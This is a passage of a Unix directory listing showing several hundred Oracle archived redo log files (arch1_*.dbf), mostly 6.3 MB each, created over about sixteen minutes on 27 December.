1 oracle oinstall 6.3M Dec 27 23:01 arch1_2146_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2147_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2148_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2149_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2150_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2151_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2152_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2153_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2154_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2155_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2156_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:01 arch1_2157_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2158_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.5M Dec 27 23:02 arch1_2159_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2160_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2161_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2162_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2163_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2164_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2165_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2166_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2167_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2168_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2169_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2170_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2171_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2172_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2173_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2174_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2175_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2176_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:02 arch1_2177_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2178_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2179_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2180_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:03 arch1_2181_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2182_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2183_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2184_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2185_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2186_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2187_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2188_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2189_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2190_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2191_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:03 arch1_2192_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2193_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2194_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2195_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2196_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:03 arch1_2197_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2198_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2199_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2200_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2201_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2202_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2203_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2204_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2205_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 23:04 arch1_2206_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2207_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2208_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2209_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2210_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2211_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 23:04 arch1_2212_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2213_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2214_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2215_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:04 arch1_2216_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2217_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2218_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2219_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2220_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2221_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2222_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 23:05 arch1_2223_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2224_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2225_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2226_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2227_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2228_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2229_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2230_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2231_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2232_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 23:05 arch1_2233_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2234_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:05 arch1_2235_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2236_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2237_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:06 arch1_2238_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2239_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2240_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2241_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2242_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.5M Dec 27 23:06 arch1_2243_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2244_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2245_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:06 arch1_2246_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2247_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2248_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2249_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:06 arch1_2250_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2251_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:06 arch1_2252_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:06 arch1_2253_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 23:06 arch1_2254_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:06 arch1_2255_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2256_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2257_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2258_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2259_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:07 arch1_2260_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2261_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2262_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2263_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2264_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2265_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:07 arch1_2266_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2267_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2268_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2269_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2270_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2271_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:07 arch1_2272_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:08 arch1_2273_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2274_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:08 arch1_2275_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2276_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2277_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2278_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2279_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 23:08 arch1_2280_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2281_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2282_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2283_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2284_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2285_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2286_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2287_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2288_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2289_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2290_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:08 arch1_2291_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2292_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2293_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2294_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2295_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 23:09 arch1_2296_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2297_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2298_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2299_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2300_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2301_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2302_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2303_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2304_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2305_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2306_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2307_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2308_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2309_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:09 arch1_2310_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2311_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2312_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2313_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.4M Dec 27 23:10 arch1_2314_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 23:10 arch1_2315_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 23:10 arch1_2316_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:10 arch1_2317_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2318_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2319_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2320_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:10 arch1_2321_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2322_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2323_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2324_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2325_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2326_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2327_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2328_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:10 arch1_2329_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2330_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2331_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2332_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2333_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2334_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2335_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2336_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2337_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2338_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2339_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2340_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2341_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2342_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2343_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2344_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2345_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2346_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2347_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:11 arch1_2348_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2349_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2350_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2351_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2352_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2353_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2354_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2355_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2356_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2357_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2358_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2359_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2360_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2361_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2362_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2363_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2364_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.0M Dec 27 23:12 arch1_2365_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2366_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2367_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:12 arch1_2368_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2369_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2370_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2371_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.0M Dec 27 23:13 arch1_2372_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2373_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2374_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2375_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.8M Dec 27 23:13 arch1_2376_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2377_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2378_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2379_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2380_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2381_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.5M Dec 27 23:13 arch1_2382_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2383_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2384_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2385_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2386_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:13 arch1_2387_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2388_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2389_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2390_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2391_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2392_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.1M Dec 27 23:14 arch1_2393_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2394_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2395_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2396_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2397_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2398_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2399_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2400_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2401_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2402_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2403_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 23:14 arch1_2404_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2405_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:14 arch1_2406_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2407_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2408_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2409_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2410_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2411_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2412_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2413_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2414_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2415_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2416_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2417_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2418_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2419_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2420_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2421_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2422_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2423_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2424_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:15 arch1_2425_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2426_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2427_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2428_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2429_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2430_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2431_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2432_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2433_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2434_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2435_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2436_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2437_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2438_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2439_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2440_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2441_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2442_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2443_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2444_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:16 arch1_2445_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2446_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2447_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2448_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2449_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2450_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2451_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2452_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2453_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.5M Dec 27 23:17 arch1_2454_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2455_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2456_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2457_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 